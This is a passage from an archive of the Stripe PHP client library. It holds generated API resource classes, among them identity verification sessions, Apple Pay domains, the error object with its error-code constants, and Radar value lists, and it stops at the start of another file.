@property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $options A set of options for the session’s verification checks. * @property null|\Stripe\StripeObject $provided_details Details provided about the user being verified. These details may be shown to the user. * @property null|\Stripe\StripeObject $redaction Redaction status of this VerificationSession. If the VerificationSession is not redacted, this field will be null. * @property string $status Status of this VerificationSession. <a href="https://stripe.com/docs/identity/how-sessions-work">Learn more about the lifecycle of sessions</a>. * @property string $type The type of <a href="https://stripe.com/docs/identity/verification-checks">verification check</a> to be performed. * @property null|string $url The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send it in emails or expose it to anyone other than the user. Refer to our docs on <a href="https://stripe.com/docs/identity/verify-identity-documents?platform=web&type=redirect">verifying identity documents</a> to learn how to redirect users to Stripe. * @property null|string $verification_flow The configuration token of a Verification Flow from the dashboard. * @property null|\Stripe\StripeObject $verified_outputs The user’s verified data. */ class VerificationSession extends \Stripe\ApiResource { const OBJECT_NAME = 'identity.verification_session'; use \Stripe\ApiOperations\Update; const STATUS_CANCELED = 'canceled'; const STATUS_PROCESSING = 'processing'; const STATUS_REQUIRES_INPUT = 'requires_input'; const STATUS_VERIFIED = 'verified'; const TYPE_DOCUMENT = 'document'; const TYPE_ID_NUMBER = 'id_number'; const TYPE_VERIFICATION_FLOW = 'verification_flow'; /** * Creates a VerificationSession object. * * After the VerificationSession is created, display a verification modal using the * session <code>client_secret</code> or send your users to the session’s * <code>url</code>. * * If your API key is in test mode, verification checks won’t actually process, * though everything else will occur as if in live mode. * * Related guide: <a href="/docs/identity/verify-identity-documents">Verify your * users’ identity documents</a> * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of VerificationSessions. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Identity\VerificationSession> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a VerificationSession that was previously created. * * When the session status is <code>requires_input</code>, you can use this method * to retrieve a valid <code>client_secret</code> or <code>url</code> to allow * re-submission. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a VerificationSession object. * * When the session status is <code>requires_input</code>, you can use this method * to update the verification check and options. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession the canceled verification session */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession the redacted verification session */ public function redact($params = null, $opts = null) { $url = $this->instanceUrl() . '/redact'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/OAuthErrorObject.php�������������������������������������������������������������0000644�����������������00000001574�14720677707�0014201 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class OAuthErrorObject. * * @property string $error * @property string $error_description */ class OAuthErrorObject extends StripeObject { /** * Refreshes this object using the provided values. * * @param array $values * @param null|array|string|Util\RequestOptions $opts * @param bool $partial defaults to false */ public function refreshFrom($values, $opts, $partial = false) { // Unlike most other API resources, the API will omit attributes in // error objects when they have a null value. We manually set default // values here to facilitate generic error handling. $values = \array_merge([ 'error' => null, 'error_description' => null, ], $values); parent::refreshFrom($values, $opts, $partial); } } ������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApplePayDomain.php���������������������������������������������������������������0000644�����������������00000006156�14720677707�0013664 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $domain_name * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. */ class ApplePayDomain extends ApiResource { const OBJECT_NAME = 'apple_pay_domain'; /** * Create an apple pay domain. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplePayDomain the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Delete an apple pay domain. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplePayDomain the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * List apple pay domains. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ApplePayDomain> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieve an apple pay domain. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplePayDomain */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * @return string The class URL for this resource. It needs to be special * cased because it doesn't fit into the standard resource pattern. */ public static function classUrl() { return '/v1/apple_pay/domains'; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/StripeStreamingClientInterface.php�����������������������������������������������0000644�����������������00000000356�14720677707�0017115 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Interface for a Stripe client. */ interface StripeStreamingClientInterface extends BaseStripeClientInterface { public function requestStream($method, $path, $readBodyChunkCallable, $params, $opts); } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ErrorObject.php������������������������������������������������������������������0000644�����������������00000036601�14720677707�0013237 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class ErrorObject. * * @property string $charge For card errors, the ID of the failed charge. * @property string $code For some errors that could be handled * programmatically, a short string indicating the error code reported. * @property string $decline_code For card errors resulting from a card issuer * decline, a short string indicating the card issuer's reason for the * decline if they provide one. * @property string $doc_url A URL to more information about the error code * reported. * @property string $message A human-readable message providing more details * about the error. For card errors, these messages can be shown to your * users. * @property string $param If the error is parameter-specific, the parameter * related to the error. For example, you can use this to display a message * near the correct form field. * @property PaymentIntent $payment_intent The PaymentIntent object for errors * returned on a request involving a PaymentIntent. * @property PaymentMethod $payment_method The PaymentMethod object for errors * returned on a request involving a PaymentMethod. * @property string $payment_method_type If the error is specific to the type * of payment method, the payment method type that had a problem. This * field is only populated for invoice-related errors. * @property string $request_log_url A URL to the request log entry in your * dashboard. * @property SetupIntent $setup_intent The SetupIntent object for errors * returned on a request involving a SetupIntent. * @property StripeObject $source The source object for errors returned on a * request involving a source. * @property string $type The type of error returned. One of `api_error`, * `card_error`, `idempotency_error`, or `invalid_request_error`. */ class ErrorObject extends StripeObject { /** * Possible string representations of an error's code. * * @see https://stripe.com/docs/error-codes */ // The beginning of the section generated from our OpenAPI spec const CODE_ACCOUNT_CLOSED = 'account_closed'; const CODE_ACCOUNT_COUNTRY_INVALID_ADDRESS = 'account_country_invalid_address'; const CODE_ACCOUNT_ERROR_COUNTRY_CHANGE_REQUIRES_ADDITIONAL_STEPS = 'account_error_country_change_requires_additional_steps'; const CODE_ACCOUNT_INFORMATION_MISMATCH = 'account_information_mismatch'; const CODE_ACCOUNT_INVALID = 'account_invalid'; const CODE_ACCOUNT_NUMBER_INVALID = 'account_number_invalid'; const CODE_ACSS_DEBIT_SESSION_INCOMPLETE = 'acss_debit_session_incomplete'; const CODE_ALIPAY_UPGRADE_REQUIRED = 'alipay_upgrade_required'; const CODE_AMOUNT_TOO_LARGE = 'amount_too_large'; const CODE_AMOUNT_TOO_SMALL = 'amount_too_small'; const CODE_API_KEY_EXPIRED = 'api_key_expired'; const CODE_APPLICATION_FEES_NOT_ALLOWED = 'application_fees_not_allowed'; const CODE_AUTHENTICATION_REQUIRED = 'authentication_required'; const CODE_BALANCE_INSUFFICIENT = 'balance_insufficient'; const CODE_BALANCE_INVALID_PARAMETER = 'balance_invalid_parameter'; const CODE_BANK_ACCOUNT_BAD_ROUTING_NUMBERS = 'bank_account_bad_routing_numbers'; const CODE_BANK_ACCOUNT_DECLINED = 'bank_account_declined'; const CODE_BANK_ACCOUNT_EXISTS = 'bank_account_exists'; const CODE_BANK_ACCOUNT_RESTRICTED = 'bank_account_restricted'; const CODE_BANK_ACCOUNT_UNUSABLE = 'bank_account_unusable'; const CODE_BANK_ACCOUNT_UNVERIFIED = 'bank_account_unverified'; const CODE_BANK_ACCOUNT_VERIFICATION_FAILED = 'bank_account_verification_failed'; const CODE_BILLING_INVALID_MANDATE = 'billing_invalid_mandate'; const CODE_BITCOIN_UPGRADE_REQUIRED = 'bitcoin_upgrade_required'; const CODE_CAPTURE_CHARGE_AUTHORIZATION_EXPIRED = 'capture_charge_authorization_expired'; const CODE_CAPTURE_UNAUTHORIZED_PAYMENT = 'capture_unauthorized_payment'; const CODE_CARD_DECLINE_RATE_LIMIT_EXCEEDED = 'card_decline_rate_limit_exceeded'; const CODE_CARD_DECLINED = 'card_declined'; const CODE_CARDHOLDER_PHONE_NUMBER_REQUIRED = 'cardholder_phone_number_required'; const CODE_CHARGE_ALREADY_CAPTURED = 'charge_already_captured'; const CODE_CHARGE_ALREADY_REFUNDED = 'charge_already_refunded'; const CODE_CHARGE_DISPUTED = 'charge_disputed'; const CODE_CHARGE_EXCEEDS_SOURCE_LIMIT = 'charge_exceeds_source_limit'; const CODE_CHARGE_EXPIRED_FOR_CAPTURE = 'charge_expired_for_capture'; const CODE_CHARGE_INVALID_PARAMETER = 'charge_invalid_parameter'; const CODE_CHARGE_NOT_REFUNDABLE = 'charge_not_refundable'; const CODE_CLEARING_CODE_UNSUPPORTED = 'clearing_code_unsupported'; const CODE_COUNTRY_CODE_INVALID = 'country_code_invalid'; const CODE_COUNTRY_UNSUPPORTED = 'country_unsupported'; const CODE_COUPON_EXPIRED = 'coupon_expired'; const CODE_CUSTOMER_MAX_PAYMENT_METHODS = 'customer_max_payment_methods'; const CODE_CUSTOMER_MAX_SUBSCRIPTIONS = 'customer_max_subscriptions'; const CODE_CUSTOMER_TAX_LOCATION_INVALID = 'customer_tax_location_invalid'; const CODE_DEBIT_NOT_AUTHORIZED = 'debit_not_authorized'; const CODE_EMAIL_INVALID = 'email_invalid'; const CODE_EXPIRED_CARD = 'expired_card'; const CODE_FINANCIAL_CONNECTIONS_ACCOUNT_INACTIVE = 'financial_connections_account_inactive'; const CODE_FINANCIAL_CONNECTIONS_NO_SUCCESSFUL_TRANSACTION_REFRESH = 'financial_connections_no_successful_transaction_refresh'; const CODE_FORWARDING_API_INACTIVE = 'forwarding_api_inactive'; const CODE_FORWARDING_API_INVALID_PARAMETER = 'forwarding_api_invalid_parameter'; const CODE_FORWARDING_API_UPSTREAM_CONNECTION_ERROR = 'forwarding_api_upstream_connection_error'; const CODE_FORWARDING_API_UPSTREAM_CONNECTION_TIMEOUT = 'forwarding_api_upstream_connection_timeout'; const CODE_IDEMPOTENCY_KEY_IN_USE = 'idempotency_key_in_use'; const CODE_INCORRECT_ADDRESS = 'incorrect_address'; const CODE_INCORRECT_CVC = 'incorrect_cvc'; const CODE_INCORRECT_NUMBER = 'incorrect_number'; const CODE_INCORRECT_ZIP = 'incorrect_zip'; const CODE_INSTANT_PAYOUTS_CONFIG_DISABLED = 'instant_payouts_config_disabled'; const CODE_INSTANT_PAYOUTS_CURRENCY_DISABLED = 'instant_payouts_currency_disabled'; const CODE_INSTANT_PAYOUTS_LIMIT_EXCEEDED = 'instant_payouts_limit_exceeded'; const CODE_INSTANT_PAYOUTS_UNSUPPORTED = 'instant_payouts_unsupported'; const CODE_INSUFFICIENT_FUNDS = 'insufficient_funds'; const CODE_INTENT_INVALID_STATE = 'intent_invalid_state'; const CODE_INTENT_VERIFICATION_METHOD_MISSING = 'intent_verification_method_missing'; const CODE_INVALID_CARD_TYPE = 'invalid_card_type'; const CODE_INVALID_CHARACTERS = 'invalid_characters'; const CODE_INVALID_CHARGE_AMOUNT = 'invalid_charge_amount'; const CODE_INVALID_CVC = 'invalid_cvc'; const CODE_INVALID_EXPIRY_MONTH = 'invalid_expiry_month'; const CODE_INVALID_EXPIRY_YEAR = 'invalid_expiry_year'; const CODE_INVALID_NUMBER = 'invalid_number'; const CODE_INVALID_SOURCE_USAGE = 'invalid_source_usage'; const CODE_INVALID_TAX_LOCATION = 'invalid_tax_location'; const CODE_INVOICE_NO_CUSTOMER_LINE_ITEMS = 'invoice_no_customer_line_items'; const CODE_INVOICE_NO_PAYMENT_METHOD_TYPES = 'invoice_no_payment_method_types'; const CODE_INVOICE_NO_SUBSCRIPTION_LINE_ITEMS = 'invoice_no_subscription_line_items'; const CODE_INVOICE_NOT_EDITABLE = 'invoice_not_editable'; const CODE_INVOICE_ON_BEHALF_OF_NOT_EDITABLE = 'invoice_on_behalf_of_not_editable'; const CODE_INVOICE_PAYMENT_INTENT_REQUIRES_ACTION = 'invoice_payment_intent_requires_action'; const CODE_INVOICE_UPCOMING_NONE = 'invoice_upcoming_none'; const CODE_LIVEMODE_MISMATCH = 'livemode_mismatch'; const CODE_LOCK_TIMEOUT = 'lock_timeout'; const CODE_MISSING = 'missing'; const CODE_NO_ACCOUNT = 'no_account'; const CODE_NOT_ALLOWED_ON_STANDARD_ACCOUNT = 'not_allowed_on_standard_account'; const CODE_OUT_OF_INVENTORY = 'out_of_inventory'; const CODE_OWNERSHIP_DECLARATION_NOT_ALLOWED = 'ownership_declaration_not_allowed'; const CODE_PARAMETER_INVALID_EMPTY = 'parameter_invalid_empty'; const CODE_PARAMETER_INVALID_INTEGER = 'parameter_invalid_integer'; const CODE_PARAMETER_INVALID_STRING_BLANK = 'parameter_invalid_string_blank'; const CODE_PARAMETER_INVALID_STRING_EMPTY = 'parameter_invalid_string_empty'; const CODE_PARAMETER_MISSING = 'parameter_missing'; const CODE_PARAMETER_UNKNOWN = 'parameter_unknown'; const CODE_PARAMETERS_EXCLUSIVE = 'parameters_exclusive'; const CODE_PAYMENT_INTENT_ACTION_REQUIRED = 'payment_intent_action_required'; const CODE_PAYMENT_INTENT_AUTHENTICATION_FAILURE = 'payment_intent_authentication_failure'; const CODE_PAYMENT_INTENT_INCOMPATIBLE_PAYMENT_METHOD = 'payment_intent_incompatible_payment_method'; const CODE_PAYMENT_INTENT_INVALID_PARAMETER = 'payment_intent_invalid_parameter'; const CODE_PAYMENT_INTENT_KONBINI_REJECTED_CONFIRMATION_NUMBER = 'payment_intent_konbini_rejected_confirmation_number'; const CODE_PAYMENT_INTENT_MANDATE_INVALID = 'payment_intent_mandate_invalid'; const CODE_PAYMENT_INTENT_PAYMENT_ATTEMPT_EXPIRED = 'payment_intent_payment_attempt_expired'; const CODE_PAYMENT_INTENT_PAYMENT_ATTEMPT_FAILED = 'payment_intent_payment_attempt_failed'; const CODE_PAYMENT_INTENT_UNEXPECTED_STATE = 'payment_intent_unexpected_state'; const CODE_PAYMENT_METHOD_BANK_ACCOUNT_ALREADY_VERIFIED = 'payment_method_bank_account_already_verified'; const CODE_PAYMENT_METHOD_BANK_ACCOUNT_BLOCKED = 'payment_method_bank_account_blocked'; const CODE_PAYMENT_METHOD_BILLING_DETAILS_ADDRESS_MISSING = 'payment_method_billing_details_address_missing'; const CODE_PAYMENT_METHOD_CONFIGURATION_FAILURES = 'payment_method_configuration_failures'; const CODE_PAYMENT_METHOD_CURRENCY_MISMATCH = 'payment_method_currency_mismatch'; const CODE_PAYMENT_METHOD_CUSTOMER_DECLINE = 'payment_method_customer_decline'; const CODE_PAYMENT_METHOD_INVALID_PARAMETER = 'payment_method_invalid_parameter'; const CODE_PAYMENT_METHOD_INVALID_PARAMETER_TESTMODE = 'payment_method_invalid_parameter_testmode'; const CODE_PAYMENT_METHOD_MICRODEPOSIT_FAILED = 'payment_method_microdeposit_failed'; const CODE_PAYMENT_METHOD_MICRODEPOSIT_VERIFICATION_AMOUNTS_INVALID = 'payment_method_microdeposit_verification_amounts_invalid'; const CODE_PAYMENT_METHOD_MICRODEPOSIT_VERIFICATION_AMOUNTS_MISMATCH = 'payment_method_microdeposit_verification_amounts_mismatch'; const CODE_PAYMENT_METHOD_MICRODEPOSIT_VERIFICATION_ATTEMPTS_EXCEEDED = 'payment_method_microdeposit_verification_attempts_exceeded'; const CODE_PAYMENT_METHOD_MICRODEPOSIT_VERIFICATION_DESCRIPTOR_CODE_MISMATCH = 'payment_method_microdeposit_verification_descriptor_code_mismatch'; const CODE_PAYMENT_METHOD_MICRODEPOSIT_VERIFICATION_TIMEOUT = 'payment_method_microdeposit_verification_timeout'; const CODE_PAYMENT_METHOD_NOT_AVAILABLE = 'payment_method_not_available'; const CODE_PAYMENT_METHOD_PROVIDER_DECLINE = 'payment_method_provider_decline'; const CODE_PAYMENT_METHOD_PROVIDER_TIMEOUT = 'payment_method_provider_timeout'; const CODE_PAYMENT_METHOD_UNACTIVATED = 'payment_method_unactivated'; const CODE_PAYMENT_METHOD_UNEXPECTED_STATE = 'payment_method_unexpected_state'; const CODE_PAYMENT_METHOD_UNSUPPORTED_TYPE = 'payment_method_unsupported_type'; const CODE_PAYOUT_RECONCILIATION_NOT_READY = 'payout_reconciliation_not_ready'; const CODE_PAYOUTS_LIMIT_EXCEEDED = 'payouts_limit_exceeded'; const CODE_PAYOUTS_NOT_ALLOWED = 'payouts_not_allowed'; const CODE_PLATFORM_ACCOUNT_REQUIRED = 'platform_account_required'; const CODE_PLATFORM_API_KEY_EXPIRED = 'platform_api_key_expired'; const CODE_POSTAL_CODE_INVALID = 'postal_code_invalid'; const CODE_PROCESSING_ERROR = 'processing_error'; const CODE_PRODUCT_INACTIVE = 'product_inactive'; const CODE_PROGRESSIVE_ONBOARDING_LIMIT_EXCEEDED = 'progressive_onboarding_limit_exceeded'; const CODE_RATE_LIMIT = 'rate_limit'; const CODE_REFER_TO_CUSTOMER = 'refer_to_customer'; const CODE_REFUND_DISPUTED_PAYMENT = 'refund_disputed_payment'; const CODE_RESOURCE_ALREADY_EXISTS = 'resource_already_exists'; const CODE_RESOURCE_MISSING = 'resource_missing'; const CODE_RETURN_INTENT_ALREADY_PROCESSED = 'return_intent_already_processed'; const CODE_ROUTING_NUMBER_INVALID = 'routing_number_invalid'; const CODE_SECRET_KEY_REQUIRED = 'secret_key_required'; const CODE_SEPA_UNSUPPORTED_ACCOUNT = 'sepa_unsupported_account'; const CODE_SETUP_ATTEMPT_FAILED = 'setup_attempt_failed'; const CODE_SETUP_INTENT_AUTHENTICATION_FAILURE = 'setup_intent_authentication_failure'; const CODE_SETUP_INTENT_INVALID_PARAMETER = 'setup_intent_invalid_parameter'; const CODE_SETUP_INTENT_MANDATE_INVALID = 'setup_intent_mandate_invalid'; const CODE_SETUP_INTENT_SETUP_ATTEMPT_EXPIRED = 'setup_intent_setup_attempt_expired'; const CODE_SETUP_INTENT_UNEXPECTED_STATE = 'setup_intent_unexpected_state'; const CODE_SHIPPING_ADDRESS_INVALID = 'shipping_address_invalid'; const CODE_SHIPPING_CALCULATION_FAILED = 'shipping_calculation_failed'; const CODE_SKU_INACTIVE = 'sku_inactive'; const CODE_STATE_UNSUPPORTED = 'state_unsupported'; const CODE_STATUS_TRANSITION_INVALID = 'status_transition_invalid'; const CODE_STRIPE_TAX_INACTIVE = 'stripe_tax_inactive'; const CODE_TAX_ID_INVALID = 'tax_id_invalid'; const CODE_TAXES_CALCULATION_FAILED = 'taxes_calculation_failed'; const CODE_TERMINAL_LOCATION_COUNTRY_UNSUPPORTED = 'terminal_location_country_unsupported'; const CODE_TERMINAL_READER_BUSY = 'terminal_reader_busy'; const CODE_TERMINAL_READER_HARDWARE_FAULT = 'terminal_reader_hardware_fault'; const CODE_TERMINAL_READER_INVALID_LOCATION_FOR_PAYMENT = 'terminal_reader_invalid_location_for_payment'; const CODE_TERMINAL_READER_OFFLINE = 'terminal_reader_offline'; const CODE_TERMINAL_READER_TIMEOUT = 'terminal_reader_timeout'; const CODE_TESTMODE_CHARGES_ONLY = 'testmode_charges_only'; const CODE_TLS_VERSION_UNSUPPORTED = 'tls_version_unsupported'; const CODE_TOKEN_ALREADY_USED = 'token_already_used'; const CODE_TOKEN_CARD_NETWORK_INVALID = 'token_card_network_invalid'; const CODE_TOKEN_IN_USE = 'token_in_use'; const CODE_TRANSFER_SOURCE_BALANCE_PARAMETERS_MISMATCH = 'transfer_source_balance_parameters_mismatch'; const CODE_TRANSFERS_NOT_ALLOWED = 'transfers_not_allowed'; const CODE_URL_INVALID = 'url_invalid'; // The end of the section generated from our OpenAPI spec /** * Refreshes this object using the provided values. * * @param array $values * @param null|array|string|Util\RequestOptions $opts * @param bool $partial defaults to false */ public function refreshFrom($values, $opts, $partial = false) { // Unlike most other API resources, the API will omit attributes in // error objects when they have a null value. We manually set default // values here to facilitate generic error handling. $values = \array_merge([ 'charge' => null, 'code' => null, 'decline_code' => null, 'doc_url' => null, 'message' => null, 'param' => null, 'payment_intent' => null, 'payment_method' => null, 'setup_intent' => null, 'source' => null, 'type' => null, ], $values); parent::refreshFrom($values, $opts, $partial); } } �������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ProductFeature.php���������������������������������������������������������������0000644�����������������00000001762�14720677707�0013753 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A product_feature represents an attachment between a feature and a product. * When a product is purchased that has a feature attached, Stripe will create an entitlement to the feature for the purchasing customer. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\Entitlements\Feature $entitlement_feature A feature represents a monetizable ability or functionality in your system. Features can be assigned to products, and when those products are purchased, Stripe will create an entitlement to the feature for the purchasing customer. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. */ class ProductFeature extends ApiResource { const OBJECT_NAME = 'product_feature'; } ��������������stripe-gateway/lib/ReserveTransaction.php�����������������������������������������������������������0000644�����������������00000001302�14720677707�0014626 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. */ class ReserveTransaction extends ApiResource { const OBJECT_NAME = 'reserve_transaction'; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Radar/ValueList.php��������������������������������������������������������������0000644�����������������00000013437�14720677707�0013762 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Radar; /** * Value lists allow you to group values together which can then be referenced in rules. * * Related guide: <a href="https://stripe.com/docs/radar/lists#managing-list-items">Default Stripe lists</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string $alias The name of the value list for use in rules. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $created_by The name or email address of the user who created this value list. * @property string $item_type The type of items in the value list. One of <code>card_fingerprint</code>, <code>us_bank_account_fingerprint</code>, <code>sepa_debit_fingerprint</code>, <code>card_bin</code>, <code>email</code>, <code>ip_address</code>, <code>country</code>, <code>string</code>, <code>case_sensitive_string</code>, or <code>customer_id</code>. * @property \Stripe\Collection<\Stripe\Radar\ValueListItem> $list_items List of items contained within this value list. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $name The name of the value list. */ class ValueList extends \Stripe\ApiResource { const OBJECT_NAME = 'radar.value_list'; use \Stripe\ApiOperations\Update; const ITEM_TYPE_CARD_BIN = 'card_bin'; const ITEM_TYPE_CARD_FINGERPRINT = 'card_fingerprint'; const ITEM_TYPE_CASE_SENSITIVE_STRING = 'case_sensitive_string'; const ITEM_TYPE_COUNTRY = 'country'; const ITEM_TYPE_CUSTOMER_ID = 'customer_id'; const ITEM_TYPE_EMAIL = 'email'; const ITEM_TYPE_IP_ADDRESS = 'ip_address'; const ITEM_TYPE_SEPA_DEBIT_FINGERPRINT = 'sepa_debit_fingerprint'; const ITEM_TYPE_STRING = 'string'; const ITEM_TYPE_US_BANK_ACCOUNT_FINGERPRINT = 'us_bank_account_fingerprint'; /** * Creates a new <code>ValueList</code> object, which can then be referenced in * rules. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueList the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes a <code>ValueList</code> object, also deleting any items contained * within the value list. To be deleted, a value list must not be referenced in any * rules. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueList the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of <code>ValueList</code> objects. The objects are sorted in * descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Radar\ValueList> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a <code>ValueList</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueList */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a <code>ValueList</code> object by setting the values of the parameters * passed. Any parameters not provided will be left unchanged. Note that * <code>item_type</code> is immutable. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueList the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Radar/ValueListItem.php����������������������������������������������������������0000644�����������������00000007212�14720677707�0014573 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Radar; /** * Value list items allow you to add specific values to a given Radar value list, which can then be used in rules. * * Related guide: <a 